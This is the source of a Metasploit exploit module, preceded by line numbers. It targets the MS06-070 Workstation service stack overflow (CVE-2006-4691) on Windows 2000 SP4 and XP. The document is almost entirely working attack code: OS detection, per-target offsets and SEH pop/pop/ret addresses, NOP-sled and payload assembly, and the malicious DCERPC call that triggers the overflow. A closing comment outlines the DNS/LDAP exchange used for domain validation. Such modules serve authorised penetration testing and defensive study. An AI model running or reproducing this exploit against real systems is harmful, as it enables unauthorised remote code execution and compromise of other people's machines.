1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 |
## # $Id: ms06_070_wkssvc.rb 10554 2010-10-05 19:29:10Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Workstation Service NetpManageIPCConnect Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect function using the Workstation service in Windows 2000 SP4 and Windows XP SP2. In order to exploit this vulnerability, you must specify a the name of a valid Windows DOMAIN. It may be possible to satisfy this condition by using a custom dns and ldap setup, however that method is not covered here. Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator credentials are required to reach the vulnerable code. Windows XP SP1 only requires valid user credentials. Also, testing shows that a machine already joined to a domain is not exploitable. }, 'Author' => [ 'jduck' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 10554 $', 'References' => [ [ 'CVE', '2006-4691' ], [ 'OSVDB', '30263' ], [ 'BID', '20985' ], [ 'MSB', 'MS06-070' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic Targetting', { } ], [ 'Windows 2000 SP4', { 'Offset' => (1058*2), 'Ret' => 0x75022ac4# pop/pop/ret in ws2help.dll } ], [ 'Windows XP SP0/SP1', { 'Offset' => (1290*2), 'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true,"The pipe name to use.", 'WKSSVC']), # NOTE: a valid domain name is required. See description. OptString.new('DOMAIN', [ true,"The domain to validate prior to joining it."]) ], self.class) end def exploit connect() smb_login() mytarget = nil if (target.name =~ /Automatic/) case smb_peer_os() when 'Windows 5.0' print_status("Detected a Windows 2000 target") mytarget = targets[1] when 'Windows 5.1' begin smb_create("\\SRVSVC") print_status("Detected a Windows XP SP0/SP1 target") rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if (e.error_code == 0xc0000022) raise RuntimeError, "Windows XP SP2 requires Administrator privileges!" end print_status("Detected a Windows XP target (unknown patch level)") end mytarget = targets[2] else raise RuntimeError, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}..." end else mytarget = target end handle = dcerpc_handle( '6bffd098-a112-3610-9833-46c3f87e345a', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Building the stub data...") distance = mytarget['Offset'] hostname = make_nops(distance - payload.encoded.length) hostname << payload.encoded hostname << generate_seh_record(mytarget.ret) hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string name = datastore['DOMAIN'] + "\\\\L" name = Rex::Text.to_unicode(name) name << hostname name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3) name << "\x00\x00" stub = NDR.uwstring("\\\\#{datastore['RHOST']}") + NDR.UnicodeConformantVaryingStringPreBuilt(name) + NDR.uwstring("") + NDR.uwstring("") + NDR.long(0) + NDR.long(1) print_status("Calling the vulnerable function...") begin dcerpc.call(0x16, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end end # Cleanup handler disconnect end end =begin The IDL for NetrJoinDomain2 looks like this: long _NetrJoinDomain2@28 ( [in][unique][string] wchar_t * arg_1, [in][string] wchar_t * arg_2, [in][unique][string] wchar_t * arg_3, [in][unique][string] wchar_t * arg_4, [in][unique] struct_C * arg_5, [in] long arg_6 ); 1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN 2. <-- dns server - response including answer and additional record. answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389 additional: IN.A address of whateverserver.DOMAIN 3. --> ldap server - baseObject query with filter/attributes: - filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00)) - attributes: AttributeDescriptionList: NetLogon 4. <-- ldap server - searchResDone success, attributes data - PartialAttributeList netlogon - 1 item - type 23, flags 0x1fd, domain GUID, forest, domain, hostname, netbios domain, netbios hostname, user, site, client site, version, lmtoken, nttoken 5. validated. =end |